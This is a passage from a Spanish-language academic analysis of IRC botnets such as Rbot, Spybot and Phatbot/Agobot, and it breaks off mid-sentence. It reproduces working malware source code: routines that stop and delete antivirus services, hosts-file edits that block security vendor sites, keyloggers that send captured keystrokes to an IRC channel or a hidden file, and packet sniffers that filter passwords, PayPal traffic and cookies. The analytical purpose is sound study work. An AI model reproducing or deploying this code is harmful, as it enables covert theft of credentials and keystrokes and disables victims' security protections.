int killsvc(void) { //anti-virus service killer SC_HANDLE hSvcCtrlMgr, hService; LPENUM_SERVICE_STATUS pess; SERVICE_STATUS ss; DWORD cbBytesNeeded, dwServicesReturned, dwResumeHandle = 0, n, k, m; char ServiceName[256], ServiceBuf[256]; //Abrimos el gestor de control de servicios y enumeramos los servicios que están //ejecutándose hSvcCtrlMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); EnumServicesStatus(hSvcCtrlMgr, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &cbBytesNeeded,&dwServicesReturned, &dwResumeHandle); pess = malloc(cbBytesNeeded); EnumServicesStatus(hSvcCtrlMgr, SERVICE_WIN32, SERVICE_ACTIVE, pess, cbBytesNeeded, &cbBytesNeeded,&dwServicesReturned, &dwResumeHandle); for (n = 0; n < dwServicesReturned; n++) { for (k = 0; k < (sizeof(av_list) / sizeof(LPTSTR)); k++) { // Iteramos en la lista de servicios y las comparamos con la lista memset(ServiceName, '\0', sizeof(ServiceName)); strcpy(ServiceBuf, pess[n].lpServiceName); for (m = 0; m < sizeof(ServiceBuf); m++) ServiceName[m] = tolower(ServiceBuf[m]); if (strncasecmp(av_list[k], ServiceName, sizeof(av_list[k])) == 0) { //Detiene el servicio y lo marca para su eliminación hService = OpenService(hSvcCtrlMgr, pess[n].lpServiceName, SERVICE_STOP); ControlService(hService, SERVICE_CONTROL_STOP, &ss); CloseServiceHandle(hService); hService = OpenService(hSvcCtrlMgr, pess[n].lpServiceName, DELETE); DeleteService(hService); CloseServiceHandle(hService); } } } CloseServiceHandle(hSvcCtrlMgr); return 0;}



killthread) que al igual que en el caso anterior, obtiene una lista de todos los

procesos que están ejecutandose y los compara con kill_list que contiene los

procesos de protección del sistema.

Figura 6.46: Llamada a la comparación con la lista

• Rbot: La característica más destacable en este aspecto es que además de

eliminar procesos de antivirus y Firewalls que eviten su detección, también

posee mecanismos para deshacerse de algunos virus. El motivo es simple:

Muchos poseen puertas traseras, con las que otro eventual atacante podría

aprovechar y conseguir el control del equipo eliminando el programa del bot e

instalando su propio programa, siendo así una manera de evitar “competencia”

en equipos infectados.

Además de esto, modifica archivos para impedir que el sistema se pueda

conectar a la gran mayoría de sitios Web de fabricantes de software antivirus y

empresas de seguridad, haciendo que el archivo host (el archivo que busca el

sistema antes de realizar una petición al servidor dns) apunten a una dirección

falsa, normalmente 127.0.0.1 (localhost). Se estudia como se implementa en la

siguiente figura:

DWORD WINAPI kill_av(LPVOID param) { while (1) { listProcesses(0,NULL,NULL,TRUE); Sleep(killer_delay); } return 0;



Figura 6.47: Bloqueando la resolución de direcciones

void ChgHosts() { FILE *fp; char sysdir[MAX_PATH]; GetSystemDirectory(sysdir, sizeof(sysdir)); strncat(sysdir, "\\drivers\\etc\\hosts", sizeof(sysdir)); // we dont want to add things twice... fp=fopen(sysdir, "r"); if(fp) { while(fgets(sysdir, sizeof(sysdir), fp) && !feof(fp)) if(strstr(sysdir, "www.grisoft.com")) { fclose(fp); return; } fclose(fp); } else { fp=fopen(sysdir, "w"); fprintf(fp, "# Copyright (c) 1993-1999 Microsoft Corp.\n#\n"); fprintf(fp, "# This is a sample LMHOSTS file used by the Microsoft TCP/IP for Windows.\n#\n\n"); fclose(fp); } fp=fopen(sysdir, "a"); if(fp) { fprintf(fp, "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"); fprintf(fp, "\n127.0.0.1\twww.symantec.com\n"); fprintf(fp, "127.0.0.1\tsecurityresponse.symantec.com\n"); fprintf(fp, "127.0.0.1\tsymantec.com\n"); fprintf(fp, "127.0.0.1\twww.sophos.com\n"); fprintf(fp, "127.0.0.1\tsophos.com\n"); fprintf(fp, "127.0.0.1\twww.mcafee.com\n"); fprintf(fp, "127.0.0.1\tmcafee.com\n"); fprintf(fp, "127.0.0.1\tliveupdate.symantecliveupdate.com\n"); fprintf(fp, "127.0.0.1\twww.viruslist.com\n"); fprintf(fp, "127.0.0.1\tviruslist.com\n"); fprintf(fp, "127.0.0.1\tviruslist.com\n"); fprintf(fp, "127.0.0.1\tf-secure.com\n"); fprintf(fp, "127.0.0.1\twww.f-secure.com\n"); fprintf(fp, "127.0.0.1\tkaspersky.com\n"); fprintf(fp, "127.0.0.1\tkaspersky-labs.com\n"); fprintf(fp, "127.0.0.1\twww.avp.com\n"); fprintf(fp, "127.0.0.1\twww.kaspersky.com\n"); fprintf(fp, "127.0.0.1\tavp.com\n"); fprintf(fp, "127.0.0.1\twww.networkassociates.com\n"); fprintf(fp, "127.0.0.1\tnetworkassociates.com\n"); fprintf(fp, "127.0.0.1\twww.ca.com\n"); fprintf(fp, "127.0.0.1\tca.com\n"); fprintf(fp, "127.0.0.1\tmast.mcafee.com\n"); fprintf(fp, "127.0.0.1\tmy-etrust.com\n"); fprintf(fp, "127.0.0.1\twww.my-etrust.com\n"); fprintf(fp, "127.0.0.1\tdownload.mcafee.com\n"); fprintf(fp, "127.0.0.1\tdispatch.mcafee.com\n"); fprintf(fp, "127.0.0.1\tsecure.nai.com\n"); fprintf(fp, "127.0.0.1\tnai.com\n"); fprintf(fp, "127.0.0.1\twww.nai.com\n"); fprintf(fp, "127.0.0.1\tupdate.symantec.com\n"); fprintf(fp, "127.0.0.1\tupdates.symantec.com\n"); fprintf(fp, "127.0.0.1\tus.mcafee.com\n"); fprintf(fp, "127.0.0.1\tliveupdate.symantec.com\n"); fprintf(fp, "127.0.0.1\tcustomer.symantec.com\n"); fprintf(fp, "127.0.0.1\trads.mcafee.com\n"); fprintf(fp, "127.0.0.1\ttrendmicro.com\n"); fprintf(fp, "127.0.0.1\twww.trendmicro.com\n"); fprintf(fp, "127.0.0.1\twww.grisoft.com\n"); fclose(fp); } }



Ahora se estudia el encargado de eliminar los procesos de los virus, eliminar las

entradas del registro de ellos:

Figura 6.48: Entradas en el registro de virus conocidos.

Todo esto se hace a través de la función void removevirus()

Figura 6.49: Función removevirus

VIRUSES viruses[]= { {HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","TaskMon","Mydoom.h","taskmon.exe"}, {HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","PandaAVEngine","Netsky.r","PandaAVEngine.exe"}, {HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","sysinfo.exe","Bagle.v","sysinfo.exe"}, {HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","System MScvb","Sobig.c","mscvb32.exe"}, {HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","System MScvb","Sobig.c","mscvb32.exe"}, {HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","windows auto update","W32.Blaster","MSBLAST.exe"}, {HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","Microsoft Inet Xp..","W32.Blaster.C","teekids.exe"}, {HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run","windows auto update","W32.Blaster.B","Penis32.exe"}, {NULL,NULL,NULL,NULL,NULL}

};

void removevirus() { char sysdir[MAX_PATH], virusexecuteble[MAX_PATH]; unsigned char szDataBuf[128]; HKEY hkey; LONG lRet; DWORD dwSize = 128; for (unsigned int i=0; viruses[i].subkey; i++) { //Abre la llave del registro de la lista lRet = fRegOpenKeyEx(viruses[i].hkey, viruses[i].subkey, 0, KEY_READ, &hkey); //Si la búsqueda es fructuosa if(fRegQueryValueEx(hkey, viruses[i].value, NULL, NULL, szDataBuf, &dwSize) == ERROR_SUCCESS) { //Se elimina el valor fRegDeleteValue(hkey, viruses[i].value); GetSystemDirectory(sysdir, sizeof(sysdir)); sprintf(virusexecuteble, "%s\\%s", sysdir, viruses[i].file); DeleteFile(virusexecuteble); } //Finalmente se cierra la clave fRegCloseKey(hkey); } return; }



Finalmente es el archivo processes.cpp el que se encarga de la gestión y

eliminación de los procesos que leemos de un array de nombres de procesos, su

funcionamiento no difiere demasiado de los anteriores, así que no entraremos en

detalle en este apartado.

• Phatbot/Agobot: No se diferencia demasiado de sus predecesores en este punto,

pero implementa esta función para matar procesos en Linux, para ello usa la

función: bool KillPid(unsigned long lPid);

Además de esto cuenta con la novedad de eliminar procesos como tcpdump y

ethereal que puedan evidenciar la presencia del programa.



Bot Configuración Spreaders Instalación en el

sistema

Protección

Microbot Archivo por lotes NO Registro NO

G-Spot GUI NO Registro NO

Leechbot VB Configuración en

el mismo

programa

SI (?) Registro Ciertos Antivirus

DSNX GUI NO Registro No

Omega Project II Configuración en

archivo de

cabecera externo

NetBios Registro Procesos y servicios

de antivirus y

Firewalls

SDbot Configuración en

el mismo fichero

NO Registro NO

SpyBot Configuración en

archivo de

cabecera externo

NetBios

Kuang

Sub7

Kazaa

System.ini Firewalls y antivirus

Rbot Configuración en

archivo de

cabecera externo

Netbios

Kuang

Sub7

Lssas

Dcom

Dameware

Mssqql

Bagle

MyDoom

Sasser

Upnp

Registro Firewalls, antivirus,

Bloquea acceso a

páginas de compañías

de seguridad y

actualizaciones

PhatbotAgobot GUI Netbios

Kuang

Sub7

Lssas

Dcom

Dameware

Mssqql

Bagle

MyDoom

Sasser

Upnp

Registro

Firewalls, antivirus,

Bloquea acceso a

páginas de compañías

de seguridad y

actualizaciones.

Elimina procesos en

Linux

Tabla 6.2: Características de la explotación en los distintos bots



Capítulo 7

Explotación del sistema

Una vez que se ha logrado el acceso al equipo y se ha asegurado de modificar el sistema

para posteriores ocasiones, este estará virtualmente en manos del atacante, que puede

realizar con el una gran cantidad de operaciones remotamente. En este punto se tratar de

ver cuales son las acciones más comunes que realizan los atacantes, con qué propósitos

las efectúan y cuales son las partes de los bots que las llevan a cabo.

7.1 KeyLogging

Una de las actividades más comunes de cualquier atacante que consigue acceder a un

sistema local o remotamente es la instalación de un programa de captura de pulsaciones

de teclado, también conocido como keylogging, este programa le permitirá tener acceso

a todas las teclas que cualquier persona pulse en el ordenador comprometido,

permitiendo capturar todo tipo de información sensible como:

• Nombres de usuarios/contraseña de otras cuentas (FTP, Correo, Mensajería

instantánea, cuentas Paypal, Ebay…)

• Numero de tarjetas de crédito

• Conversaciones ( En este caso, sólo las que se escriban en el ordenador, no se

puede capturar la conversación del otro usuario por este método)

• Emails

Una de las mayores ventajas de esta técnica comparada con otros métodos de

recopilación de información como la captura de tráfico (sniffing) es que es sensible a ser

capturado incluso si este es cifrado, ya que se realiza directamente sobre el hardware, en

este caso el teclado.



Para la implementación de esta característica se usan dos métodos que se diferencian en

el lugar donde el programa remite la información capturada.

Esta se puede enviar:

1. A un canal de Chat especificado. En la configuración del bot, se permite elegir

un canal específico donde los bots envían los datos.

Desventajas:

• Pérdida de información. Necesidad de estar conectado al canal para

recibir la información

• Genera demasiado tráfico sospechoso en el canal. Si usa un servidor de

IRC publico puede llamar fácilmente la atención de los administradores

• Difícil de separar la información. Si existen varios bots trabajando al

mismo tiempo, es probable que sea tal la cantidad de información que

llega al canal que sea difícil clasificarla

2. A un archivo local en la máquina comprometida. Es la más típica, sin embargo,

su principal desventaja es el tamaño que puede llegar a alcanzar el archivo de

bitácora, pudiendo llegar a colapsar el disco o llamando la atención del dueño

legítimo del equipo, por lo que se suelen usar scripts que borran los archivos una

vez descargados

7.1.1 Envío de la información a un canal de IRC especificado

Un ejemplo de este tipo lo tenemos en Spybot (módulo tgspynt):

El componente que se encarga de esta tarea es el módulo: DWORD WINAPI

keylogger(LPVOID Param), en este caso no llama a funciones demasiado complejas,

por lo que el análisis se realiza directamente sobre el código fuente, explicando que

hace cada función que pudiese resultar dudosa:



Figura 7.1: Función del capturador de teclas

DWORD WINAPI keylogger(LPVOID Param) { HWND win, winold; int bKstate[256]={0}; int i,x,err = 0; int threadnum = (int)Param; char buffer[600],buffer2[800],window[61]; int state,shift; char logfile[MAX_PATH]; memset(buffer,0,sizeof(buffer)); win = GetForegroundWindow(); //Devuelve un manejador a la ventana en la que el usuario winold = win; //está trabajando actualmente GetWindowText(winold,window,60); //Para poder comparar las dos ventanas, actual y cambio while (err == 0) { //Capturamos el texto de la ventana Sleep(8); //Esperamos al cambio de ventana win = GetForegroundWindow(); if (win != winold) { if (strlen(buffer) != 0) { sprintf(buffer2,"%s (Changed window",buffer); //Avisamos del cambio de ventana err = sendkeys(keysock,buffer2,window,logfile); //Sendekeys se encarga de enviar las teclas al memset(buffer,0,sizeof(buffer)); //canal definido memset(buffer2,0,sizeof(buffer2)); } win = GetForegroundWindow(); winold = win; GetWindowText(winold,window,60); } for(i=0;i<92;i++) { //Captura y manejo del teclado y las teclas shift = GetKeyState(VK_SHIFT); x = inputL[i]; if (GetAsyncKeyState(x) & 0x8000) { //see capslock or shift on if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) //caps lock and NOT shift bKstate[x] = 1;//upercase a-z else if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //caps lock AND shift bKstate[x] = 2;//lowercase a-z else if (shift < 0) //Shift bKstate[x] = 3; //upercase else bKstate[x] = 4; //lowercase } else { if (bKstate[x] != 0) { state = bKstate[x]; bKstate[x] = 0; if (x == 8) { buffer[strlen(buffer)-1] = 0; continue; //Fin de la captura } else if (strlen(buffer) > 550) { //Comprbamos si el buffer está lleno win = GetForegroundWindow(); GetWindowText(win,window,60); sprintf(buffer2,"%s (Buffer full",buffer); err = sendkeys(keysock,buffer2,window,logfile); memset(buffer,0,sizeof(buffer)); memset(buffer2,0,sizeof(buffer2)); continue; } else if (x == 13) { if (strlen(buffer) == 0) continue; win = GetForegroundWindow(); GetWindowText(win,window,60); sprintf(buffer2,"%s (Return",buffer); err = sendkeys(keysock,buffer2,window,logfile); memset(buffer,0,sizeof(buffer)); memset(buffer2,0,sizeof(buffer2)); continue;} else if (state == 1 || state == 3) strcat(buffer,outputH[i]); else if (state == 2 || state == 4) strcat(buffer,outputL[i]); }}}}threads[threadnum].id = 0;return 1;}



El módulo que se encarga del envío de la información al canal se muestra en la figura:

Figura 7.2: Función sendkeys del bot spybot

7.1.2 Envío de información a un archivo local de la máquina comprometida

Destaca DataSpy Network, estas acciones se realizan a través de tres funciones:

• DWORD WINAPI KeyCapThread(LPVOID param)

• BOOL StartLogging()

• BOOL StopLogging()

La más importante es la primera, ya que StartLogging()y StopLogging()se encargan,

como su propio nombre indica, de iniciar y detener el capturador de teclas, como

observamos a continuación:

int sendkeys(SOCKET sock,char *buf,char *window,char *logfile) { char buffer[4092]; strcat(buf,")\n"); strcat(buf,"\r"); if (strlen(keylogchan) == 0) { sprintf(buffer,"(%s) 10 %s",window,buf); } else { sprintf(buffer,"PRIVMSG %s :(%s)10 %s",keylogchan,window,buf); } if (send(sock,buffer,strlen(buffer),0) == SOCKET_ERROR) { memset(keylogchan,0,sizeof(keylogchan)); sendkeysto = 0; } return 0; }



Figura 7.3: Función StartLogging del bot DSN

Antes de comenzar a estudiar la función KeyCapThread, es importante explicar una

llamada que se realiza en dicho módulo y que, aunque no se estudia en profundidad, si

es conveniente hacer referencia a ella, ya que es básica para comprender el

funcionamiento de este código, concretamente se trata de la llamada:

g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,g_module,0);

La función SetWindowsHookEx instala un “gancho” en el sistema operativo, esto es, una

funcion para interceptar eventos que pueden estar asociados a un hilo en particular o al

sistema en general.

En este caso se instala el gancho asociado al hilo creado por la función JournalLogProc,

que se encarga de capturar los cambios de pantallas, las pulsaciones de teclas

correspondientes y de dar el formato correcto para su posterior manejo:

BOOL StartLogging() { g_hKeyCapThread=CreateThread(NULL,0,KeyCapThread,(LPVOID)c_KEYLOGGING_FILE,0,&g_dwKeyCapTID); //Crea el hilo para la captura int iWat=0; while (g_bLogging==FALSE && iWat < 26) //Se queda en segundo plano { Sleep(100); iWat++; } if (g_bLogging == TRUE) return TRUE; else return FALSE; } BOOL StopLogging() { g_bLogging = FALSE; //Pone a falso el indicador para que no siga leyendo teclas int iWat=0; while (g_hKeyCapThread != NULL && iWat < 26) { Sleep(100); iWat++; } if (g_hKeyCapThread == NULL) return TRUE; else return FALSE; }



Figura 7.4: Función JournelLogProc

Por tanto, la función principal del capturador de teclas, KeyCapThread, es la encargada de:

• Crear el archivo que el “gancho” rellenará con las teclas pulsadas,

• Introducir la fecha de inicio y fin de la captura,

• Instalar y desinstalar a dicho procedimiento:

LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam) { if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam); if(code==HC_ACTION) { EVENTMSG *pEvt=(EVENTMSG *)lParam; if(pEvt->message==WM_KEYDOWN) { DWORD dwCount,dwBytes; char svBuffer[256]; int vKey,nScan; vKey=LOBYTE(pEvt->paramL); nScan=HIBYTE(pEvt->paramL); nScan<<=16; //Comprueba el cambio de ventana HWND hFocus=GetActiveWindow(); if(g_hLastFocus!=hFocus) { char svTitle[256]; int nCount; nCount=GetWindowText(hFocus,svTitle,256); if(nCount>0) { char svBuffer[512]; wsprintf(svBuffer,"\r\n----=: %s =----\r\n",svTitle); //Escribe en el archivo la nueva información WriteFile(g_hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL); } g_hLastFocus=hFocus;} //Escribe las teclas, operaciones de formato y estado de teclado dwCount=GetKeyNameText(nScan,svBuffer,256); if(dwCount) { if(vKey==VK_SPACE) { svBuffer[0]=' '; svBuffer[1]='\0'; dwCount=1; } if(dwCount==1) { BYTE kbuf[256]; WORD ch; int chcount; GetKeyboardState(kbuf); chcount=ToAscii(vKey,nScan,kbuf,&ch,0); if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL); } else #ifdef _REMOVE_BACKSPACES_YES_ //¿Eliminamos los backspaces? if (vKey == VK_BACK) { SetFilePointer(g_hCapFile,-1,NULL,FILE_CURRENT); }else #endif{ WriteFile(g_hCapFile,"[",1,&dwBytes,NULL); WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL); WriteFile(g_hCapFile,"]",1,&dwBytes,NULL); if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL); }}}}return CallNextHookEx(g_hLogHook,code,wParam,lParam);}



Figura 7.5: Hilo de capturas de teclas

DWORD WINAPI KeyCapThread(LPVOID param) { MSG msg; BYTE keytbl[256]; int i; for(i=0;i<256;i++) keytbl[i]=0; g_bLogging=TRUE; g_hLastFocus=NULL; //Creamos el fichero para guardar la información g_hCapFile= CreateFile((char*)param,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL); if(g_hCapFile==INVALID_HANDLE_VALUE) { return -1; } SetFilePointer(g_hCapFile,0,NULL,FILE_END); //Pone el puntero del fichero al final //Instala el procedimiento JournalLogProc g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,g_module,0); if(g_hLogHook==NULL) { //Trata el error en el caso que lo haya CloseHandle(g_hCapFile); g_hCapFile=NULL; return -1; } g_bLogging=TRUE; DWORD dwBW =0; char *cTemp = new char[256]; char *cTime = new char[128]; char *cDate = new char[128]; //Registramos el inicio del keylogger sprintf(cTemp,"\r\nStarted: %s %s\r\n",_strtime(cTime),_strdate(cDate)); WriteFile(g_hCapFile,cTemp,lstrlen(cTemp),&dwBW,NULL); //Escribe en el archivo while(g_bLogging) { //Mientras queramos seguir leyendo while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) { GetMessage(&msg,NULL,0,0); if(msg.message==WM_CANCELJOURNAL) { SetKeyboardState(keytbl); //Copia el estado de las teclas del teclado g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,g_module,0); if(g_hLogHook==NULL) { CloseHandle(g_hCapFile); g_hCapFile=NULL; return -1; } } else { DispatchMessage(&msg); } } Sleep(20); } //Cuando paramos el keylogger lo registramos sprintf(cTemp,"\r\nStoped: %s %s\r\n",_strtime(cTime),_strdate(cDate)); WriteFile(g_hCapFile,cTemp,lstrlen(cTemp),&dwBW,NULL); delete cTemp,cTime,cDate; UnhookWindowsHookEx(g_hLogHook);//Desinstalamos el gancho que hemos instalado antes CloseHandle(g_hCapFile); g_hCapFile=NULL; g_hKeyCapThread=NULL; return 0;



Por último, existen bots como Rbot y Phabot que permiten los dos métodos de envío

de la información capturada, pero nos dan la opción de poder desechar uno de ellos si

nos interesa, esto se realiza a través de los archivos de configuración.

La implementación del keylogging en estos dos últimos bots es prácticamente similar, la

única diferencia es la conversión del código de C (Rbot) a C++ (Phatbot) en tanto que

este último se apoya en el uso de clases.

En el código que se estudia a continuación se puede observar cómo la información se

guarda en el archivo y se envía a la vez al canal:

Figura 7.6: Función SaveKeys del Rbot

Por lo demás el código fuente de capturador no difiere demasiado del de los anteriores:

se manipulan los cambios de ventanas y se filtran las teclas para su posterior

presentación, por lo que no entraremos en más detalles.

int SaveKeys(char *key, KEYLOG keylog) { char file[MAX_PATH], sendbuf[IRCLINE]; SYSTEMTIME st; GetLocalTime(&st); //Guarda la información de la fecha GetSystemDirectory(file,sizeof(file)); //Se averigua la ruta strcat(file,"\\"); strcat(file,keylogfile); FILE *fp = fopen(file,"ab"); //Abrimos el fichero if (fp == NULL) return 1; fprintf(fp, "[%d-%d-%d %d:%d:%d] %s\r\n", st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond, key); fclose(fp); //Introducimos la informacion en el fichero if (!keylog.silent) { //Enviamos la informacion al canal _snprintf(sendbuf,sizeof(sendbuf),"[KEYLOG]: %s", key); irc_privmsg(keylog.sock,keylog.chan,sendbuf,keylog.notice); } return 0; }



7.2 Sniffing

Otro de los usos que se suele dar a una máquina comprometida en una red es capturar el

tráfico que pasa por ella, para ello los bots más comunes incluyen un módulo que realiza

esta tarea, el sniffing.

Esta técnica es útil sobre todo para capturar nombres de usuario y contraseñas de otros

servicios de red, no sólo del ordenador comprometido, si no de todo el tráfico que pase

a través de este, que será mayor o menor según esté configurada la red,

Que un equipo esté comprometido dentro de una red local es una amenaza potencial

para toda ella, ya que todo el tráfico que fluya a través de esta es susceptible a ser

capturado.

Sin embargo, los inconvenientes de tener que enviar a un canal de IRC todo el tráfico

que podamos recopilar en uno o varios equipos son los siguientes:

• Perdida de rendimiento del equipo infectado, en el caso de que se capture

mucho tráfico. El envió de toda esa información al canal de IRC podría alertar al

usuario de la infección de un programa bot en su equipo.

• Mucha información inútil. La mayoría del tráfico generado en un equipo carece

de interés para el atacante. Tan sólo sería interesante la información que se

capture en texto plano y que contenga números de series de programas,

contraseñas, tarjetas de crédito…

• Saturación del canal IRC: Si existe, por ejemplo una red de una docena de

equipos constantemente enviando información de toda el tráfico que pasa por

cada uno, probablemente saturaríamos el canal de IRC ó lo más probable,

llamaríamos irremediablemente la atención de los administradores del servidor

en el caso de que usemos uno público.

Es por ello, que los creadores de redes bots decidieron implementar una selección del

tráfico y enviar al canal de IRC únicamente la información realmente interesante.

Tan sólo dos de los bots que se han comentado implementan esta característica:



7.2.1 Implementación en Rbot

Usa un módulo llamado psniff, que avisa de la captura de contraseñas de cualquier tipo

que definamos y las envía al canal de IRC que hayamos seleccionado, para ello, define

una serie de estructuras:

Figura 7.7: estructuras de la función Psniff

En las que guarda, la cadena que posiblemente sea sospechosa de contener información

interesante, junto con el tipo de tráfico:

typedef struct PSNIFF { SOCKET sock; char chan[128]; int threadnum; BOOL notice; BOOL silent; BOOL gotinfo; } PSNIFF; enum {BOTP,IRCP,FTPP,HTTPP}; typedef struct PSWORDS { char text[20]; int type; } PSWORDS;



Figura 7.8: Declaración de las variables para el sniffer

Posteriormente, llama a la función DWORD WINAPI SniffThread(LPVOID param) que

lanza un hilo que captura el tráfico que deseemos.

No se entra en cómo se realiza dicha captura, ya que es un poco complicada, pero se

estudia cómo se realiza la comparación del paquete capturado:

PSWORDS pswords[]={ {":.login",BOTP}, {":,login",BOTP}, {":!login",BOTP}, {":@login",BOTP}, {":$login",BOTP}, {":%login",BOTP}, {":^login",BOTP}, {":&login",BOTP}, {":*login",BOTP}, {":-login",BOTP}, {":+login",BOTP}, {":/login",BOTP}, {":\\login",BOTP}, {":=login",BOTP}, {":?login",BOTP}, {":'login",BOTP}, {":`login",BOTP}, ":.hashin",BOTP}, {":!hashin",BOTP}, {":$hashin",BOTP}, {":%hashin",BOTP}, {":.secure",BOTP}, {":!secure",BOTP}, {":.l",BOTP}, {":!l",BOTP}, {":$l",BOTP}, {":%l",BOTP}, {":.x",BOTP}, {":!x",BOTP}, {":$x",BOTP}, {":%x",BOTP}, {":.syn",BOTP}, {":!syn",BOTP}, {":$syn",BOTP}, {":%syn",BOTP}, {" CDKey ",BOTP}, {"JOIN #",IRCP}, {"NICK ",IRCP}, {"OPER ",IRCP}, {"oper ",IRCP}, {"now an IRC Operator",IRCP}, {"USER ",FTPP}, {"PASS ",FTPP}, {"paypal",HTTPP}, {"PAYPAL",HTTPP}, {"paypal.com",HTTPP}, {"PAYPAL.COM",HTTPP}, {"Set-Cookie:",HTTPP}, {NULL,0} };



Figura 7.9: Comparación del paquete con las variables definidas

7.2.2 Implementación en Phatbot/Agobot

Un poco más avanzada encontramos esta característica en Phatbot, principalmente en la

variedad de datos capturados: en vez de definir estructuras para cada tipo, implementa

funciones que devuelven un tipo lógico cierto cuando el tráfico capturado coincide con

las cadenas para cada tipo de dato que definamos como sospechoso:

Figura 7.10: Función que compara si el tráfico capturado es sospechoso de ser bot

.... ip = (IPHEADER *)Packet; if (ip->proto == 6) { Packet += sizeof(*ip); tcp = (TCPHEADER *)Packet; ia.S_un.S_addr = ip->sourceIP; //Búsqueda en la estructura del paquete recibido if (tcp->flags == 24) { //No vamos a entrar demasiado en detalles en el estudio de los //paquetes del protocolo tcp/ip Packet += sizeof(*tcp); if (strstr(Packet, "[PSNIFF]") == NULL) { for (i=0;pswords[i].text;i++) { //Comparación en la estructura definida arriba if ((strstr(Packet, pswords[i].text)) != NULL) { //Realizamos la comparación _snprintf(sendbuf, sizeof(sendbuf), "[PSNIFF]: Suspicious %s packet from: %s:%d - %s.", ptype[pswords[i].type], finet_ntoa(ia), fntohs(tcp->sport), Packet); //Si es correcto se envía al canal el mensaje if (!sniff.silent) irc_privmsg(sniff.sock, sniff.chan, sendbuf, sniff.notice); addlog(sendbuf);

bool IsSuspiciousBot(const char *szBuf) { if(strstr(szBuf, "Bot sniff")) return false; if(strstr(szBuf, g_pMainCtrl->m_cBot.si_mainchan.sValue.CStr())) return false; if(strstr(szBuf, g_pMainCtrl->m_sUserName.CStr())) return false; if(strstr(szBuf, "JOIN #")) return true; if(strstr(szBuf, "302 ")) return true; if(strstr(szBuf, "366 ")) return true; if(strstr(szBuf, ":.login")) return true; if(strstr(szBuf, ":!login")) return true; if(strstr(szBuf, ":!Login")) return true; if(strstr(szBuf, ":.Login")) return true; if(strstr(szBuf, ":.ident")) return true; if(strstr(szBuf, ":!ident")) return true; if(strstr(szBuf, ":.hashin")) return true; if(strstr(szBuf, ":!hashin")) return true; if(strstr(szBuf, ":.secure")) return true; if(strstr(szBuf, ":!secure")) return true; return false; }



Figura 7.11: Función que compara si el tráfico capturado es sospechoso de ser IRC

Figura 7.12: Función que compara si el tráfico capturado es sospechoso de ser FTP

Figura 7.13: Función que compara si el tráfico capturado es sospechoso de ser

HTTP

Figura 7.14: Función que compara si el tráfico capturado es sospechoso de usar un

programa vulnerable

Cada función clasifica el tráfico según la comparación con una serie de cadenas

predefinidas para cada tipo de protocolo o servicio, capturando sobre todo las

comunicaciones más sensibles (Contraseñas, nombres de usuarios…).

Este método tiene la ventaja de permitir añadir nuevas funciones para capturar el tráfico

definidas por el usuario de una manera simple y rápida.

Hay dos funciones peculiares en las se va prestar un poco más de atención:

bool IsSuspiciousIRC(const char *szBuf) { if(strstr(szBuf, "IRC sniff")) return false; if(strstr(szBuf, g_pMainCtrl->m_sUserName.CStr())) return false; if(strstr(szBuf, g_pMainCtrl->m_cBot.si_mainchan.sValue.CStr())) return false; if(strstr(szBuf, "OPER ")) return true; if(strstr(szBuf, "NICK ")) return true; if(strstr(szBuf, "oper ")) return true; if(strstr(szBuf, "You are now an IRC Operator")) return true; return false; }

bool IsSuspiciousFTP(const char *szBuf) { if(strstr(szBuf, "FTP sniff")) return false; if(strstr(szBuf, g_pMainCtrl->m_sUserName.CStr())) return false; if(strstr(szBuf, g_pMainCtrl->m_cBot.si_mainchan.sValue.CStr())) return false; if(strstr(szBuf, "PASS ")) return true; return false; }

bool IsSuspiciousHTTP(const char *szBuf) { if(strstr(szBuf, "HTTP sniff")) return false; if(strstr(szBuf, g_pMainCtrl->m_sUserName.CStr())) return false; if(strstr(szBuf, g_pMainCtrl->m_cBot.si_mainchan.sValue.CStr())) return false; if(strstr(szBuf, "paypal")) return true; if(strstr(szBuf, "PAYPAL")) return true; if(strstr(szBuf, "PAYPAL.COM")) return true; if(strstr(szBuf, "paypal.com")) return true; if(strstr(szBuf, "Set-Cookie:")) return true; return false; }

bool IsSuspiciousVULN(const char *szBuf) { if(strstr(szBuf, "VULN sniff")) return false; if(strstr(szBuf, g_pMainCtrl->m_sUserName.CStr())) return false; if(strstr(szBuf, g_pMainCtrl->m_cBot.si_mainchan.sValue.CStr())) return false; if(strstr(szBuf, "OpenSSL/0.9.6")) return true; if(strstr(szBuf, "Serv-U FTP Server")) return true; if(strstr(szBuf, "OpenSSH_2")) return true; return false; }



1. IsSuspiciousBot: Compara para observar si el tráfico es el típico que genera un

equipo que tiene ya un bot previamente instalado, en caso afirmativo, se

capturan datos interesantes para hacernos con el control de dicha bot, como

